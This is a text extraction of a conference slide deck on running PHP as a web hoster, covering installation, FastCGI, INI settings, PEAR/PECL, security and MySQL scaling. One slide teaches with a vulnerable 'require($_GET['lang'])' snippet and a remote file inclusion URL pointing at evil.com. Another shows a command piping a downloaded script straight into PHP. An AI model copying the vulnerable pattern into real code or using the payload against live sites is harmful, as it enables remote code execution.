SlideShare a Scribd company logo
PHP	
  through	
  the	
  eyes	
  of	
  a	
  hoster




Thijs	
  Feryn
Support	
  manager
+32	
  (0)9	
  218	
  79	
  06
thijs@combellgroup.com
About	
  me




 I’m	
  the	
  support	
  manager	
  at	
  Combell
About	
  me




 I’m	
  a	
  board	
  member	
  at	
  PHPBenelux
About	
  me


Modest	
  contribu=ons	
  to:
I	
  live	
  in	
  the	
  wonderful	
  city	
  of	
  Bruges
      MPBecker	
  -­‐	
  Bruges	
  by	
  Night	
  hKp://www.flickr.com/photos/galverson2/3715965933
Follow	
  me	
  on	
  TwiKer:	
  @ThijsFeryn

Rate	
  my	
  talk:	
  hKp://joind.in/1541

Read	
  my	
  blog:	
  hKp://blog.feryn.eu
Php through the eyes of a hoster
Php through the eyes of a hoster
Chapter	
  I	
  :	
  The	
  hoster,	
  a	
  genuine	
  stakeholder	
  in	
  the	
  
PHP	
  universe
Stakeholders

     Customer                     Development	
  company

  Endusers     MGMT       Devs        MGMT     Design         PM



  Internal     Internal
     IT          PM       Sales        QA      Systeam     Consultants




                 Hoster       PHP	
  community
Stakeholders


               Somewhere	
  along	
  the	
  road	
  ...




               Your	
  app	
  needs	
  to	
  be	
  hosted
Goals	
  &	
  mo]ves

 Our	
  goals	
  &	
  mo=ves	
  are	
  the	
  same	
  as	
  yours:
 • It	
  has	
  to	
  work
 • It	
  has	
  to	
  perform
 • It	
  has	
  to	
  scale
 • It	
  has	
  to	
  be	
  secure
 • It	
  has	
  to	
  be	
  available
Php through the eyes of a hoster
Php through the eyes of a hoster
Php through the eyes of a hoster
Chapter	
  II:	
  Installa]on	
  &	
  configura]on
Installing	
  from	
  source

server$	
  ./configure	
  -­‐-­‐prefix=/usr/local/php-­‐5.2.10	
  
-­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs	
  -­‐-­‐
with-­‐zlib	
  -­‐-­‐with-­‐curl	
  -­‐-­‐with-­‐gd	
  -­‐-­‐enable-­‐mbstring	
  
-­‐-­‐with-­‐mysql	
  -­‐-­‐with-­‐mysqli	
  -­‐-­‐enable-­‐pcntl	
  -­‐-­‐with-­‐
pdo-­‐mysql	
  -­‐-­‐with-­‐readline	
  -­‐-­‐enable-­‐soap	
  -­‐-­‐with-­‐xsl	
  
-­‐-­‐with-­‐mcrypt	
  -­‐-­‐with-­‐mssql	
  -­‐-­‐with-­‐snmp	
  -­‐-­‐with-­‐imap	
  
-­‐-­‐with-­‐kerberos	
  -­‐-­‐with-­‐imap-­‐ssl	
  -­‐-­‐with-­‐config-­‐
file-­‐path=/etc/php5/	
  -­‐-­‐enable-­‐sockets	
  -­‐-­‐with-­‐
freetype-­‐dir	
  -­‐-­‐with-­‐openssl	
  

server$	
  make

server$	
  make	
  install
Installing	
  using	
  a	
  package	
  manager	
  (APT/Ap]tude)

Install	
  PHP:
  server$	
  apt-­‐get	
  install	
  php5


Install	
  MySQL	
  library	
  for	
  PHP:

  server$	
  apt-­‐get	
  install	
  php5-­‐mysql
SAPI	
  ...	
  schmapi

                             Mod_php                  FastCGI                    CLI


        Web              Apache	
  module            gateway                      -­‐


      Process            Apache	
  process            php-­‐cgi                 php


  Configura=on            Apache	
  conf	
  files      wrapper                on	
  the	
  fly


                                                  shell	
  user	
  or	
  
        User               Apache	
  user                                   shell	
  user
                                                  suexec	
  user
FastCGI

Example	
  config:
• Apache	
  handler
   	
  	
  <IfModule	
  mod_fcgid.c>
   	
  	
  	
  	
  SuexecUserGroup	
  dev	
  dev
   	
  	
  	
  	
  PHP_Fix_Pathinfo_Enable	
  1
   	
  	
  	
  	
  <Directory	
  /var/www/dev/www/>
   	
  	
  	
  	
  	
  	
  Options	
  +ExecCGI
   	
  	
  	
  	
  	
  	
  AllowOverride	
  All
   	
  	
  	
  	
  	
  	
  AddHandler	
  fcgid-­‐script	
  .php
   	
  	
  	
  	
  	
  	
  FCGIWrapper	
  /var/www/dev/etc/fcgi.wrapper	
  .php
   	
  	
  	
  	
  	
  	
  Order	
  allow,deny
   	
  	
  	
  	
  	
  	
  Allow	
  from	
  all
   	
  	
  	
  	
  </Directory>
   	
  	
  </IfModule>
FastCGI

Example	
  config:
• Wrapper	
  script
    #!/bin/sh
    PHPRC=/usr/local/php-­‐5.3.1/etc
    export	
  PHPRC
    export	
  PHP_FCGI_MAX_REQUESTS=5000
    export	
  PHP_FCGI_CHILDREN=8
    exec	
  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Defining	
  INI	
  seRngs:
• Php.ini
• Ini_set()
• “-­‐d”	
  
• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Memory_limit:


    Fatal	
  error:	
  Allowed	
  memory	
  size	
  of	
  16777216	
  
    bytes	
  exhausted	
  (tried	
  to	
  allocate	
  35	
  bytes)
Php through the eyes of a hoster
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Safe_mode	
  &	
  Open_basedir:

 <IfModule	
  mod_php5.c>
 	
  	
  	
  	
  php_admin_flag	
  engine	
  on
 	
  	
  	
  	
  php_admin_flag	
  safe_mode	
  off
 	
  	
  	
  	
  php_admin_value	
  open_basedir	
  "/var/www/vhosts/
 website.com/httpdocs:/tmp"
 </IfModule>
INI	
  se`ngs:	
  tales	
  of	
  good	
  &	
  evil

Allow_url_fopen:

                    <?php
                    $lang= $_GET['lang'];
                    require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter	
  III:	
  Versions	
  &	
  features
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead




 Parse	
  error:	
  syntax	
  error,	
  unexpected	
  T_STRING,	
  
 expecting	
  T_OLD_FUNCTION	
  or	
  T_FUNCTION	
  or	
  T_VAR	
  
 or	
  '}'	
  in	
  test.php	
  on	
  line	
  4
Developers	
  love	
  bling	
  bling
It	
  HAS	
  to	
  be	
  PHP	
  5.3.2	
  !!!
I	
  need	
  ALL	
  PHP	
  extension	
  !!!
I	
  use	
  ALL	
  PHP	
  features	
  !!!
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PEAR
PHP	
  Extension	
  and	
  Applica=on	
  Repository	
  (h#p//pear.php.net)

 server$	
  lynx	
  -­‐source	
  http://pear.php.net/go-­‐pear	
  |	
  php

 server$	
  pear	
  install	
  date
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PECL	
  (pickle)
PHP	
  Extension	
  Community	
  Library	
  (h#p//pecl.php.net)




          server$	
  pecl	
  install	
  pecl_http
External	
  frameworks


     Popular	
  frameworks	
  outside	
  the	
  PHP	
  project
Chapter	
  IV:	
  PHP	
  aKracts	
  a	
  crowd
It’s	
  easy	
  !
That	
  easy	
  !




                    <?php
                    echo "Hello world!";
It’s	
  cheap	
  !
It’s	
  stable	
  !
Everyone	
  can	
  be	
  a	
  PHP	
  developer
But	
  not	
  everyone	
  has	
  what	
  it	
  takes
Luckily	
  there’s	
  a	
  lot	
  ready-­‐to-­‐use	
  PHP	
  so_ware	
  out	
  there
Who	
  you	
  gonna	
  call	
  ?
But	
  when	
  helpers	
  need	
  help	
  ...
They	
  reach	
  out	
  to	
  the	
  PHP	
  community

                                                  User	
  Group	
  mee=ngs




             Twiaer                                            Blogs
                                                    Forums
                        PHP.net



                       IRC                     Conferences
Chapter	
  V:	
  Here	
  be	
  phpirates
Here	
  be	
  phpirates
Fact




 “The	
  majority	
  of	
  hacking/absue	
  cases	
  are	
  PHP	
  related”
False	
  assump]ons

                                           “Open	
  source	
  is	
  evil”




“PHP	
  has	
  lots	
  of	
  security	
  vulnerabili=es	
  and	
  is	
  not	
  mature”
Here	
  be	
  phpirates



The	
  real	
  issues
• Quality	
  of	
  the	
  code
• Network	
  &	
  server	
  security
• PHP	
  version	
  &	
  configura=on
Responsibili]es
Chapter	
  VI:	
  Scalability
Performance	
  ==	
  speed
Scalability	
  ==	
  constant	
  speed	
  under	
  increasing	
  load
Scaling	
  up
Scaling	
  out
Developers	
  (some2mes)	
  forget	
  ...
Scaling	
  MySQL
mysql>	
  explain	
  SELECT	
  field1,	
  (SELECT	
  COUNT(*)	
  FROM	
  table2	
  WHERE	
  field3	
  =	
  
table1.id)	
  FROM	
  table1	
  WHERE	
  field2	
  =	
  1	
  	
  ORDER	
  BY	
  field4	
  DESC	
  limit	
  
12,12;

***************************	
  1.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  1
	
  	
  select_type:	
  PRIMARY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table1
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  approved
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  approved
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  3143
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where;	
  Using	
  filesort
***************************	
  2.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  2
	
  	
  select_type:	
  DEPENDENT	
  SUBQUERY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table2
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  NULL
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  1005
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where
mysql>	
  show	
  processlist;
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  Id	
  	
  	
  	
  |	
  User	
  |	
  Host	
  	
  	
  	
  	
  	
  |	
  db	
  |	
  Command	
  |	
  Time	
  |	
  State	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  Info	
  	
  	
  
                                                                                                                                                                                                           	
  
|
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  63515	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  NULL	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  show	
  
processlist	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
|	
  81763	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Sleep	
  	
  	
  |	
  	
  105	
  |	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  NULL	
  	
  	
  
                                                                                                                                                                                                           	
  
|
|	
  85187	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sending	
  data	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field	
  =	
  'val'	
  	
  |
|	
  82701	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Copying	
  to	
  tmp	
  table	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field='val2'	
  	
  	
  |
|	
  82709	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sorting	
  result	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  order	
  by	
  field	
  |
|	
  82716	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Opening	
  tables	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someOtherTable	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
Scaling	
  MySQL	
  with	
  replica]on
PHP	
  scalability	
  toolbox
Php through the eyes of a hoster
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters	
  are	
  a	
  genuine	
  stakeholder	
  in	
  the	
  PHP	
  universe
2.PHP	
  is	
  highly	
  flexible	
  &	
  configurable.	
  Hosters	
  have	
  to	
  ensure	
  a	
  decent	
  
  setup
3.PHP	
  has	
  a	
  lot	
  to	
  offer	
  feature-­‐wise
4.PHP	
  aDracts	
  a	
  crowd	
  and	
  brings	
  a	
  lot	
  of	
  people	
  together	
  from	
  
  different	
  industries	
  (e.g.	
  hosters)
5.Lots	
  of	
  abuse	
  cases	
  are	
  PHP	
  related,	
  but	
  that’s	
  not	
  the	
  fault	
  of	
  PHP	
  
  itself
6.PHP	
  itself	
  doesn’t	
  scale	
  *that*	
  well,	
  but	
  is	
  flexible	
  enough	
  to	
  ensure	
  
  scalability	
  via	
  extra	
  tools
Q&A
Php through the eyes of a hoster

More Related Content

What's hot

Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to Ferrari
Joseph Scott
 
php & performance
 php & performance php & performance
php & performance
simon8410
 
Php’s guts
Php’s gutsPhp’s guts
Php’s guts
Elizabeth Smith
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!
Elizabeth Smith
 
Composer
ComposerComposer
Composer
Tom Corrigan
 
Php 7 hhvm and co
Php 7 hhvm and coPhp 7 hhvm and co
Php 7 hhvm and co
Pierre Joye
 
Php version 5
Php version 5Php version 5
Php version 5
Manuel Rodriguez
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
julien pauli
 
Understanding PHP objects
Understanding PHP objectsUnderstanding PHP objects
Understanding PHP objects
julien pauli
 
Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018
Thijs Feryn
 
Spl in the wild
Spl in the wildSpl in the wild
Spl in the wild
Elizabeth Smith
 
Writing and using php streams and sockets
Writing and using php streams and socketsWriting and using php streams and sockets
Writing and using php streams and sockets
Elizabeth Smith
 
Profiling php5 to php7
Profiling php5 to php7Profiling php5 to php7
Profiling php5 to php7
julien pauli
 
Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)
James Titcumb
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5
julien pauli
 
Hacking with hhvm
Hacking with hhvmHacking with hhvm
Hacking with hhvm
Elizabeth Smith
 
Building Custom PHP Extensions
Building Custom PHP ExtensionsBuilding Custom PHP Extensions
Building Custom PHP Extensions
AzRy LLC, Caucasus School of Technology
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshop
julien pauli
 
Php go vrooom!
Php go vrooom!Php go vrooom!
Php go vrooom!
Elizabeth Smith
 
HipHop VM: overclocking Symfony
HipHop VM: overclocking SymfonyHipHop VM: overclocking Symfony
HipHop VM: overclocking Symfony
Vadim Borodavko
 

What's hot (20)

Site Performance - From Pinto to Ferrari
Site Performance - From Pinto to FerrariSite Performance - From Pinto to Ferrari
Site Performance - From Pinto to Ferrari
 
php & performance
 php & performance php & performance
php & performance
 
Php’s guts
Php’s gutsPhp’s guts
Php’s guts
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!
 
Composer
ComposerComposer
Composer
 
Php 7 hhvm and co
Php 7 hhvm and coPhp 7 hhvm and co
Php 7 hhvm and co
 
Php version 5
Php version 5Php version 5
Php version 5
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
Understanding PHP objects
Understanding PHP objectsUnderstanding PHP objects
Understanding PHP objects
 
Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018Developing cacheable PHP applications - Confoo 2018
Developing cacheable PHP applications - Confoo 2018
 
Spl in the wild
Spl in the wildSpl in the wild
Spl in the wild
 
Writing and using php streams and sockets
Writing and using php streams and socketsWriting and using php streams and sockets
Writing and using php streams and sockets
 
Profiling php5 to php7
Profiling php5 to php7Profiling php5 to php7
Profiling php5 to php7
 
Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)Bringing modern PHP development to IBM i (ZendCon 2016)
Bringing modern PHP development to IBM i (ZendCon 2016)
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5
 
Hacking with hhvm
Hacking with hhvmHacking with hhvm
Hacking with hhvm
 
Building Custom PHP Extensions
Building Custom PHP ExtensionsBuilding Custom PHP Extensions
Building Custom PHP Extensions
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshop
 
Php go vrooom!
Php go vrooom!Php go vrooom!
Php go vrooom!
 
HipHop VM: overclocking Symfony
HipHop VM: overclocking SymfonyHipHop VM: overclocking Symfony
HipHop VM: overclocking Symfony
 

Viewers also liked

things in nature
things in naturethings in nature
things in nature
Mrs. McCabe
 
Safe and Secure Social Media Habits
Safe and Secure Social Media HabitsSafe and Secure Social Media Habits
Safe and Secure Social Media Habits
Evo Terra
 
King And Tub
King And TubKing And Tub
King And Tub
Mrs. McCabe
 
Luxury Complex
Luxury ComplexLuxury Complex
Luxury Complex
Julie Kim
 
Spring 5.1 Words of Encouragement
Spring 5.1 Words of EncouragementSpring 5.1 Words of Encouragement
Spring 5.1 Words of Encouragement
chrissienehrenberg
 
Avaluació i Diversitat
Avaluació i DiversitatAvaluació i Diversitat
Avaluació i Diversitat
Nuria Alart
 
Kepler04012010
Kepler04012010Kepler04012010
Kepler04012010
Mahmoud Aljarood
 
Greenland Prpoerty Mgt
Greenland Prpoerty MgtGreenland Prpoerty Mgt
Greenland Prpoerty Mgt
Julie Kim
 
Key terms novel unit
Key terms novel unitKey terms novel unit
Key terms novel unit
chrissienehrenberg
 
Weird Time - Ignite Phoenix
Weird Time - Ignite PhoenixWeird Time - Ignite Phoenix
Weird Time - Ignite Phoenix
Evo Terra
 
Educazione secondo Joanna de Angelis
Educazione secondo Joanna de AngelisEducazione secondo Joanna de Angelis
Educazione secondo Joanna de Angelis
Arlete Laenzlinger
 
The Word
The WordThe Word
The Word
Barry Roberts
 
Contemporary Impressionist Landscapes
Contemporary Impressionist LandscapesContemporary Impressionist Landscapes
Contemporary Impressionist Landscapes
Jan Blencowe
 
Love Again, Or Never Love
Love Again, Or Never LoveLove Again, Or Never Love
Love Again, Or Never Love
Mrs. McCabe
 
Entrepreneurship In Corporations
Entrepreneurship In CorporationsEntrepreneurship In Corporations
Entrepreneurship In Corporations
Sonny Navaratnam
 
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Combell NV
 
Taking notes on_research_sources
Taking notes on_research_sourcesTaking notes on_research_sources
Taking notes on_research_sources
chrissienehrenberg
 
Putfoot Rally
Putfoot RallyPutfoot Rally
Putfoot Rally
Mark Smith
 
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-NHET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
Arlete Laenzlinger
 
Carolines Presentaion
Carolines PresentaionCarolines Presentaion
Carolines Presentaion
Caroline Hallett (nee Chambers)
 

Viewers also liked (20)

things in nature
things in naturethings in nature
things in nature
 
Safe and Secure Social Media Habits
Safe and Secure Social Media HabitsSafe and Secure Social Media Habits
Safe and Secure Social Media Habits
 
King And Tub
King And TubKing And Tub
King And Tub
 
Luxury Complex
Luxury ComplexLuxury Complex
Luxury Complex
 
Spring 5.1 Words of Encouragement
Spring 5.1 Words of EncouragementSpring 5.1 Words of Encouragement
Spring 5.1 Words of Encouragement
 
Avaluació i Diversitat
Avaluació i DiversitatAvaluació i Diversitat
Avaluació i Diversitat
 
Kepler04012010
Kepler04012010Kepler04012010
Kepler04012010
 
Greenland Prpoerty Mgt
Greenland Prpoerty MgtGreenland Prpoerty Mgt
Greenland Prpoerty Mgt
 
Key terms novel unit
Key terms novel unitKey terms novel unit
Key terms novel unit
 
Weird Time - Ignite Phoenix
Weird Time - Ignite PhoenixWeird Time - Ignite Phoenix
Weird Time - Ignite Phoenix
 
Educazione secondo Joanna de Angelis
Educazione secondo Joanna de AngelisEducazione secondo Joanna de Angelis
Educazione secondo Joanna de Angelis
 
The Word
The WordThe Word
The Word
 
Contemporary Impressionist Landscapes
Contemporary Impressionist LandscapesContemporary Impressionist Landscapes
Contemporary Impressionist Landscapes
 
Love Again, Or Never Love
Love Again, Or Never LoveLove Again, Or Never Love
Love Again, Or Never Love
 
Entrepreneurship In Corporations
Entrepreneurship In CorporationsEntrepreneurship In Corporations
Entrepreneurship In Corporations
 
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
 
Taking notes on_research_sources
Taking notes on_research_sourcesTaking notes on_research_sources
Taking notes on_research_sources
 
Putfoot Rally
Putfoot RallyPutfoot Rally
Putfoot Rally
 
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-NHET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
HET BELANG VAN DE EVANGELISATIE VOOR DE TOEKOMST VAN DE MENSHEID-N
 
Carolines Presentaion
Carolines PresentaionCarolines Presentaion
Carolines Presentaion
 

Similar to Php through the eyes of a hoster

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Combell NV
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
Combell NV
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
Combell NV
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
Hash Lin
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
Orange Tsai
 
PHP selber bauen
PHP selber bauenPHP selber bauen
PHP selber bauen
Walter Ebert
 
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit SoftwaretestsEffizientere WordPress-Plugin-Entwicklung mit Softwaretests
Effizientere WordPress-Plugin-Entwicklung mit Softwaretests
DECK36
 
Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?Is your code ready for PHP 7 ?
Is your code ready for PHP 7 ?
Wim Godden
 
PHP QA Tools
PHP QA ToolsPHP QA Tools
PHP QA Tools
rjsmelo
 
Running php on nginx
Running php on nginxRunning php on nginx
Running php on nginx
Harald Zeitlhofer
 
Why we choose Symfony2
Why we choose Symfony2Why we choose Symfony2
Why we choose Symfony2
Merixstudio
 
Running PHP on Nginx
Running PHP on NginxRunning PHP on Nginx
Running PHP on Nginx
Harald Zeitlhofer
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Lyon Yang
 
Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?Comment améliorer le quotidien des Développeurs PHP ?
Comment améliorer le quotidien des Développeurs PHP ?
AFUP_Limoges
 
Php extensions
Php extensionsPhp extensions
Php extensions
Elizabeth Smith
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
Pichaya Morimoto
 
Automatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themesAutomatic testing and quality assurance for WordPress plugins and themes
Automatic testing and quality assurance for WordPress plugins and themes
Otto Kekäläinen
 
Converting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - CascadiaConverting Your Dev Environment to a Docker Stack - Cascadia
Converting Your Dev Environment to a Docker Stack - Cascadia
Dana Luther
 
2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real2013 - Dustin whittle - Escalando PHP en la vida real
2013 - Dustin whittle - Escalando PHP en la vida real
PHP Conference Argentina
 
Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]Converting Your Dev Environment to a Docker Stack - php[world]
Converting Your Dev Environment to a Docker Stack - php[world]
Dana Luther
 

Similar to Php through the eyes of a hoster (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
 
PHP selber bauen
PHP selber bauenPHP selber bauen
PHP selber bauen
 
